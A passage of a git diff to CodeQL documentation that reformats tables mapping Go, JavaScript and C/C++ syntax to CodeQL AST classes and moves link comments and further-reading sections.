-+-----------------------------------------------------------------------------------------------------------------------+ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``break`` | BreakStmt_ | BranchStmt_ | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``continue`` | ContinueStmt_ | BranchStmt_ | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``goto`` LabelName_ | GotoStmt_ | BranchStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``fallthrough`` | FallthroughStmt_ | BranchStmt_ | can only occur as final non-empty child of a CaseClause_ in an ExpressionSwitchStmt_ | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| LabelName_\ ``:`` Stmt_ | LabeledStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``var`` VariableName_ TypeName_ | DeclStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``const`` VariableName_ ``=`` Expr_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``type`` TypeName_ TypeExpr_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``type`` TypeName_ ``=`` TypeExpr_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``...`` ``=`` Expr_ ``...`` | AssignStmt_ | SimpleAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| VariableName_ ``...`` ``:=`` Expr_ ``...`` | DefineStmt_ | SimpleAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``+=`` Expr_ | AddAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``-=`` Expr_ | SubAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``/=`` Expr_ | QuoAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``%=`` Expr_ | RemAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``&=`` Expr_ | AndAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ `` | =`` Expr_ | OrAssignStmt_ | CompoundAssignStmt_, Assignment_ | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``^=`` Expr_ | XorAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``<<=`` Expr_ | ShlAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``>>=`` Expr_ | ShrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``&^=`` Expr_ | AndNotAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``++`` | IncStmt_ | IncDecStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``--`` | DecStmt_ | IncDecStmt_ | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``go`` CallExpr_ | GoStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``defer`` CallExpr_ | DeferStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``<-`` Expr_ | SendStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``case`` Expr_ ``...``\ ``:`` Stmt_ ``...`` | CaseClause_ | | can only occur as child of a SwitchStmt_ | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``case`` TypeExpr_ ``...``\ ``:`` Stmt_ ``...`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``default:`` Stmt_ ``...`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| ``case`` SendStmt_\ ``:`` Stmt_ ``...`` | CommClause_ | | can only occur as child of a SelectStmt_ | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``case`` RecvStmt_\ ``:`` Stmt_ ``...`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| ``default:`` Stmt_ ``...`` | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| Expr_ ``...`` ``=`` RecvExpr_ | RecvStmt_ | | can only occur as child of a CommClause_ | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+ | | | -| VariableName_ ``...`` ``:=`` RecvExpr_ | | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ -| (anything unparseable) | BadStmt_ | | | -| | | | | -+-----------------------------------------------------------------------------------------------------------------------+-----------------------+----------------------------------+--------------------------------------------------------------------------------------+ ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Statement syntax | CodeQL class | Superclasses | Remarks | ++===============================================================================+=======================+==================================+===================================================+ +| ``;`` | EmptyStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ | ExprStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``{`` Stmt_ ``...`` ``}`` | BlockStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``if`` Expr_ BlockStmt_ | IfStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``if`` Expr_ BlockStmt_ ``else`` Stmt_ | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``if`` Stmt_\ ``;`` Expr_ BlockStmt_ | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``for`` Expr_ BlockStmt_ | ForStmt_ | LoopStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``for`` Stmt_\ ``;`` Expr_\ ``;`` Stmt_ BlockStmt_ | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``for`` Expr_ ``...`` ``=`` ``range`` Expr_ BlockStmt_ | RangeStmt_ | LoopStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``switch`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | ExpressionSwitchStmt_ | SwitchStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``switch`` Stmt_\ ``;`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``switch`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | TypeSwitchStmt_ | SwitchStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``switch`` SimpleAssignStmt_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``switch`` Stmt_\ ``;`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``select`` ``{`` CommClause_ ``...`` ``}`` | SelectStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``return`` | ReturnStmt_ | | | ++-------------------------------------------------------------------------------+ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``break`` | BreakStmt_ | BranchStmt_ | | ++-------------------------------------------------------------------------------+ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``continue`` | ContinueStmt_ | BranchStmt_ | | ++-------------------------------------------------------------------------------+ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``goto`` LabelName_ | GotoStmt_ | BranchStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``fallthrough`` | FallthroughStmt_ | BranchStmt_ | can only occur as final non-empty child of | +| | | | a CaseClause_ in an ExpressionSwitchStmt_ | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| LabelName_\ ``:`` Stmt_ | LabeledStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``var`` VariableName_ TypeName_ | DeclStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``const`` VariableName_ ``=`` Expr_ | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``type`` TypeName_ TypeExpr_ | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``type`` TypeName_ ``=`` TypeExpr_ | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``...`` ``=`` Expr_ ``...`` | AssignStmt_ | SimpleAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| VariableName_ ``...`` ``:=`` Expr_ ``...`` | DefineStmt_ | SimpleAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``+=`` Expr_ | AddAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``-=`` Expr_ | SubAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``/=`` Expr_ | QuoAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``%=`` Expr_ | RemAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``&=`` Expr_ | AndAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``|=`` Expr_ | OrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``^=`` Expr_ | XorAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``<<=`` Expr_ | ShlAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``>>=`` Expr_ | ShrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``&^=`` Expr_ | AndNotAssignStmt_ | CompoundAssignStmt_, Assignment_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``++`` | IncStmt_ | IncDecStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``--`` | DecStmt_ | IncDecStmt_ | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``go`` CallExpr_ | GoStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``defer`` CallExpr_ | DeferStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``<-`` Expr_ | SendStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``case`` Expr_ ``...``\ ``:`` Stmt_ ``...`` | CaseClause_ | | can only occur as child of a SwitchStmt_ | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``case`` TypeExpr_ ``...``\ ``:`` Stmt_ ``...`` | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``default:`` Stmt_ ``...`` | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| ``case`` SendStmt_\ ``:`` Stmt_ ``...`` | CommClause_ | | can only occur as child of a SelectStmt_ | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``case`` RecvStmt_\ ``:`` Stmt_ ``...`` | | | | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| ``default:`` Stmt_ ``...`` | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| Expr_ ``...`` ``=`` RecvExpr_ | RecvStmt_ | | can only occur as child of a CommClause_ | +| | | | | ++-------------------------------------------------------------------------------+ | | | +| VariableName_ ``...`` ``:=`` RecvExpr_ | | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ +| (anything unparseable) | BadStmt_ | | | +| | | | | ++-------------------------------------------------------------------------------+-----------------------+----------------------------------+---------------------------------------------------+ Expression classes ------------------ @@ -236,47 +236,47 @@ Binary expressions All classes in this subsection are subclasses of BinaryExpr_. -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expression syntax | CodeQL class | Superclasses | | | -+====================+==============+===========================+====================+====================+ -| Expr_ ``*`` Expr_ | MulExpr_ | ArithmeticBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``/`` Expr_ | QuoExpr_ | ArithmeticBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``%`` Expr_ | RemExpr_ | ArithmeticBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``+`` Expr_ | AddExpr_ | ArithmeticBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``-`` Expr_ | SubExpr_ | ArithmeticBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``<<`` Expr_ | ShlExpr_ | ShiftExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``>>`` Expr_ | ShrExpr_ | ShiftExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``&&`` Expr_ | LandExpr_ | LogicalBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ `` | | `` Expr_ | LorExpr_ | LogicalBinaryExpr_ | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``<`` Expr_ | LssExpr_ | RelationalComparisonExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``>`` Expr_ | GtrExpr_ | RelationalComparisonExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``<=`` Expr_ | LeqExpr_ | RelationalComparisonExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``>=`` Expr_ | GeqExpr_ | RelationalComparisonExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``==`` Expr_ | EqlExpr_ | EqualityTestExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``!=`` Expr_ | NeqExpr_ | EqualityTestExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``&`` Expr_ | AndExpr_ | BitwiseBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ `` | `` Expr_ | OrExpr_ | BitwiseBinaryExpr_ | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``^`` Expr_ | XorExpr_ | BitwiseBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ -| Expr_ ``&^`` Expr_ | AndNotExpr_ | BitwiseBinaryExpr_ | | | -+--------------------+--------------+---------------------------+--------------------+--------------------+ ++--------------------+--------------+---------------------------+ +| Expression syntax | CodeQL class | Superclasses | ++====================+==============+===========================+ +| Expr_ ``*`` Expr_ | MulExpr_ | ArithmeticBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``/`` Expr_ | QuoExpr_ | ArithmeticBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``%`` Expr_ | RemExpr_ | ArithmeticBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``+`` Expr_ | AddExpr_ | ArithmeticBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``-`` Expr_ | SubExpr_ | ArithmeticBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``<<`` Expr_ | ShlExpr_ | ShiftExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``>>`` Expr_ | ShrExpr_ | ShiftExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``&&`` Expr_ | LandExpr_ | LogicalBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``||`` Expr_ | LorExpr_ | LogicalBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``<`` Expr_ | LssExpr_ | RelationalComparisonExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``>`` Expr_ | GtrExpr_ | RelationalComparisonExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``<=`` Expr_ | LeqExpr_ | RelationalComparisonExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``>=`` Expr_ | GeqExpr_ | RelationalComparisonExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``==`` Expr_ | EqlExpr_ | EqualityTestExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``!=`` Expr_ | NeqExpr_ | EqualityTestExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``&`` Expr_ | AndExpr_ | BitwiseBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``|`` Expr_ | OrExpr_ | BitwiseBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``^`` Expr_ | XorExpr_ | BitwiseBinaryExpr_ | ++--------------------+--------------+---------------------------+ +| Expr_ ``&^`` Expr_ | AndNotExpr_ | BitwiseBinaryExpr_ | ++--------------------+--------------+---------------------------+ Type expressions ~~~~~~~~~~~~~~~~ @@ -384,6 +384,9 @@ Further reading .. include:: ../reusables/go-further-reading.rst .. include:: ../reusables/codeql-ref-tools-further-reading.rst +.. Links used in tables. For information about using these links, see + https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#hyperlinks. + .. _Stmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html .. _Expr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Expr.html .. _IntLit: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$IntLit.html diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst index de4e1f18678..8f647e2c899 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst @@ -277,6 +277,9 @@ Further reading .. include:: ../reusables/java-further-reading.rst .. include:: ../reusables/codeql-ref-tools-further-reading.rst +.. Links used in tables. For information about using these links, see + https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#hyperlinks. + .. _Expr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html .. _Stmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Stmt.html .. _VarAccess: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$VarAccess.html diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst index 55ee346d483..cf26aeeafed 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-javascript-and-typescript-programs.rst @@ -361,6 +361,16 @@ All classes in this table are subclasses of Expr_. | ``yield`` Expr_ | YieldExpr_ | +-------------------------------+------------------+ +Further reading +--------------- + +.. include:: ../reusables/javascript-further-reading.rst +.. include:: ../reusables/codeql-ref-tools-further-reading.rst + + +.. Links used in tables. For information about using these links, see + https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#hyperlinks. + .. _Stmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$Stmt.html .. _Expr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$Expr.html .. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Stmt.qll/type.Stmt$ExprStmt.html @@ -514,9 +524,3 @@ All classes in this table are subclasses of Expr_. .. _AwaitExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$AwaitExpr.html .. _YieldExpr: https://codeql.github.com/codeql-standard-libraries/javascript/semmle/javascript/Expr.qll/type.Expr$YieldExpr.html - -Further reading ---------------- - -.. include:: ../reusables/javascript-further-reading.rst -.. include:: ../reusables/codeql-ref-tools-further-reading.rst \ No newline at end of file diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst index ceed1ef4b7f..928db621289 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst @@ -27,188 +27,188 @@ Declaration classes This table lists Declaration_ classes representing C/C++ declarations. -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| Example syntax | CodeQL class | Remarks | -+===============================================================================+==============================================================+=====================================+ -| ``int`` *var* ``;`` | GlobalVariable_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``namespace`` *N* ``{`` ... ``float`` *var* ``;`` ... ``}`` | NamespaceVariable_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``int`` *func* ``( void ) {`` ... ``float`` *var* ``;`` ... ``}`` | LocalVariable_ | See also Initializer_ | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... ``int`` *var* ``;`` ... ``}`` | MemberVariable_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``int`` *func* ``(const char`` *param* ``);`` | Function_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``template < typename`` *T* ``>`` | TemplateFunction_ | | -| | ``void`` *func* ``(`` *T* ``param);`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``int`` *func* ``(const char*`` *format* ``, ...)`` | FormattingFunction_ | | -| | ``{`` ... ``}`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *func* ``< int, float > (`` ... ``);`` | FunctionTemplateInstantiation_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``template < typename`` *T* ``>`` | FunctionTemplateSpecialization_ | | -| | *func* ``< int,`` *T* ``> (`` ... ``) {`` ... ``}`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | MemberFunction_ | | -| | ``int`` *func* ``( float`` *param* ``);`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | ConstMemberFunction_ | | -| | ``int`` *func* ``( float`` *param* ``) const;`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... ``virtual int`` *func* ``(`` ... ``) {`` ... ``} };`` | VirtualFunction_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... *C* ``(`` ... ``) {`` ... ``}`` ... ``};`` | Constructor_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``C::operator float () const;`` | ConversionOperator_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``class`` *C* ``{`` ... ``~`` *C* ``( void ) {`` ... ``}`` ... ``};`` | Destructor_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``class`` *C* ``{`` ... | ConversionConstructor_ | | -| | *C* ``( const`` *D* ``&`` *d* ``) {`` ... ``}`` ... ``};`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *C* ``&`` *C* ``:: operator= (const`` *C* ``& );`` | CopyAssignmentOperator_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *C* ``&`` *C* ``:: operator= (`` *C* ``&& );`` | MoveAssignmentOperator_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *C* ``::`` *C* ``(const`` *C* ``& );`` | CopyConstructor_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *C* ``::`` *C* ``(`` *C* ``&& );`` | MoveConstructor_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| *C* ``::`` *C* ``(void);`` | NoArgConstructor_ | Default constructor | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``}`` | EnumConstant_ | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``friend void`` *func* ``( int );`` | FriendDecl_ | | -| | ``friend class`` *B* ``;`` | | | -+-------------------------------------------------------------------------------+--------------------------------------------------------------+-------------------------------------+ -| | ``int`` *func* ``( void ) {`` ... | LocalEnum_ | | -| | ``enum`` *en* ``{`` *val1* ``,`` *val2* ... ``};`` ... ``}`` | | | 